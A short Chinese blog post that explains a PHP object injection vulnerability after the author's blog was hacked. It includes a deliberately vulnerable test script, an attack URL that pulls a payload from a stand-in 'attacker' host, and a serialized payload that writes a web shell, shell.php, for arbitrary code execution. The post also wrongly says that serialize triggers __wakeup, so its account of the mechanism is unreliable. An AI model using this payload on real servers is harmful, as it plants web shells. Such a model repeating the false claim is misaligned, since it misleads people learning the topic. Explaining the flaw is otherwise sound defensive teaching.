今天发现主站 https://www.tipsns.com 对应的官方博客
http://blog.tipsns.com 居然被别人黑了挂了木马,
最后发现了一个非常隐蔽的对象注入漏洞,这里是演示对象注入漏洞的测试程序:class foo{
private $file = "test.txt";
private $data = "text";
public function __destruct()
{
file_put_contents($this->file, $this->data);
}
}
$filename = $_GET['filename'];
echo "Readfile filename
" . PHP_EOL;
if(file_exists($filename)) {
unserialize(file_get_contents($filename));
} else {
echo 'no file
' . PHP_EOL;
}
这段代码有三个漏洞触发条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。
2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。
3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。
这里特别注意serialize触发__wakeup, unserialize触发__destruct 都可以在不知不觉中导致漏洞发生
比如通过:http://localhost/unserialize.php?filename=http://attacker/exp.txt
包含内容O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
然后就可以通过写入的shell.php执行任意代码